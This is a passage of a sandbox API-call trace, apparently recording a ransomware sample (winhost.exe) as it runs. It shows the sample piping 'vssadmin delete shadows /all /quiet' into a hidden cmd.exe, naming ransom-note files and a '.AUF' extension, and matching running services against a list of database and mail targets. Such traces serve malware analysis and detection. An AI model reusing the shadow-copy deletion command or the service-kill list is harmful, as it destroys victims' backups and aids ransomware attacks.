lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0202.484] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0202.484] lstrlenW (lpString="kernel32.dll") returned 12 [0202.484] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0202.488] lstrlenW (lpString="%windir%\\System32") returned 17 [0202.488] lstrlenW (lpString="%appdata%") returned 9 [0202.488] lstrlenW (lpString="%sh(Startup)%") returned 13 [0202.488] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0202.488] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.488] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x61d5f8, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0202.488] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0202.489] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0202.489] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0202.489] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0202.489] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x124, dwThreadId=0x6b8)) returned 1 [0202.499] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0202.499] WriteFile (in: hFile=0xec, lpBuffer=0x61b610*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x61b610*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0202.499] CloseHandle (hObject=0xfc) returned 1 [0202.499] CloseHandle (hObject=0xf8) returned 1 [0202.499] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0202.499] lstrlenW (lpString="%comspec%") returned 9 [0202.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0202.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5f4a88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0202.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5d4800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0202.500] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0202.500] GetLogicalDrives () returned 0x4 [0202.502] lstrlenW (lpString=".AUF") returned 4 [0202.503] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0202.503] lstrlenW (lpString="Info.hta") returned 8 [0202.503] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x62d600, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0202.503] lstrlenW (lpString="winhost.exe") returned 11 [0202.503] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.503] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x62d600, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0202.503] lstrlenW (lpString="%windir%;") returned 9 [0202.503] lstrlenW (lpString="C:\\Windows;") returned 11 [0202.504] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x61d5f8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0202.504] lstrlenW (lpString="C:\\") returned 3 [0202.504] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0202.507] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0202.507] lstrlenW (lpString="Info.hta") returned 8 [0202.507] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x63d620, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0202.507] lstrlenW (lpString="winhost.exe") returned 11 [0202.507] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.507] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x63d620, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0202.508] lstrlenW (lpString="%windir%;") returned 9 [0202.508] lstrlenW (lpString="C:\\Windows;") returned 11 [0202.508] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x62d618, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0202.508] lstrlenW (lpString="C:\\") returned 3 [0202.508] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0202.510] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5f7c80*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 4 os_tid = 0x404 Thread: id = 6 os_tid = 0x410 [0202.677] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0202.677] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0202.677] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5f5c58 [0202.678] EnumServicesStatusExW (in: hSCManager=0x5f5c58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0202.678] GetLastError () returned 0xea [0202.678] EnumServicesStatusExW (in: hSCManager=0x5f5c58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x62e658, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x62e658, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0202.678] CloseServiceHandle (hSCObject=0x5f5c58) returned 1 [0202.678] lstrlenW (lpString="Appinfo") returned 7 [0202.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0202.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0202.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0202.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0202.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0202.678] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0202.679] lstrlenW (lpString="AudioSrv") returned 8 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0202.679] lstrlenW (lpString="BFE") returned 3 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0202.679] lstrlenW (lpString="CryptSvc") returned 8 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0202.679] lstrlenW (lpString="CscService") returned 10 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0202.679] lstrlenW (lpString="DcomLaunch") returned 10 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0202.679] lstrlenW (lpString="Dhcp") returned 4 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0202.679] lstrlenW (lpString="Dnscache") returned 8 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0202.679] lstrlenW (lpString="DPS") returned 3 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0202.680] lstrlenW (lpString="eventlog") returned 8 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0202.680] lstrlenW (lpString="EventSystem") returned 11 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0202.680] lstrlenW (lpString="FontCache") returned 9 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0202.680] lstrlenW (lpString="gpsvc") returned 5 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0202.680] lstrlenW (lpString="iphlpsvc") returned 8 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0202.680] lstrlenW (lpString="LanmanServer") returned 12 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0202.680] lstrlenW (lpString="LanmanWorkstation") returned 17 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0202.680] lstrlenW (lpString="lmhosts") returned 7 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0202.681] lstrlenW (lpString="MMCSS") returned 5 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0202.681] lstrlenW (lpString="MpsSvc") returned 6 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0202.681] lstrlenW (lpString="Netman") returned 6 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0202.681] lstrlenW (lpString="netprofm") returned 8 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0202.681] lstrlenW (lpString="NlaSvc") returned 6 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0202.681] lstrlenW (lpString="nsi") returned 3 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0202.681] lstrlenW (lpString="PcaSvc") returned 6 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0202.681] lstrlenW (lpString="PlugPlay") returned 8 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0202.682] lstrlenW (lpString="Power") returned 5 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0202.682] lstrlenW (lpString="ProfSvc") returned 7 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0202.682] lstrlenW (lpString="RpcEptMapper") returned 12 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0202.682] lstrlenW (lpString="RpcSs") returned 5 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0202.682] lstrlenW (lpString="SamSs") returned 5 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0202.682] lstrlenW (lpString="Schedule") returned 8 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0202.682] lstrlenW (lpString="SENS") returned 4 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0202.683] lstrlenW (lpString="ShellHWDetection") returned 16 [0202.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0202.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0202.683] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0202.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0202.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0202.683] lstrlenW (lpString="Spooler") returned 7 [0202.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0202.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0202.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0202.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0202.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0202.683] lstrlenW (lpString="sppsvc") returned 6 [0202.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0202.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0202.683] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0202.683] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0202.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0202.683] lstrlenW (lpString="SysMain") returned 7 [0202.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0202.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0202.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0202.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0202.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0202.683] lstrlenW (lpString="Themes") returned 6 [0202.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0202.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0202.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0202.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0202.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0202.683] lstrlenW (lpString="TrkWks") returned 6 [0202.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0202.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0202.683] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0202.683] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0202.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0202.683] lstrlenW (lpString="UxSms") returned 5 [0202.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0202.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0202.683] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0202.683] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0202.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0202.683] lstrlenW (lpString="WdiServiceHost") returned 14 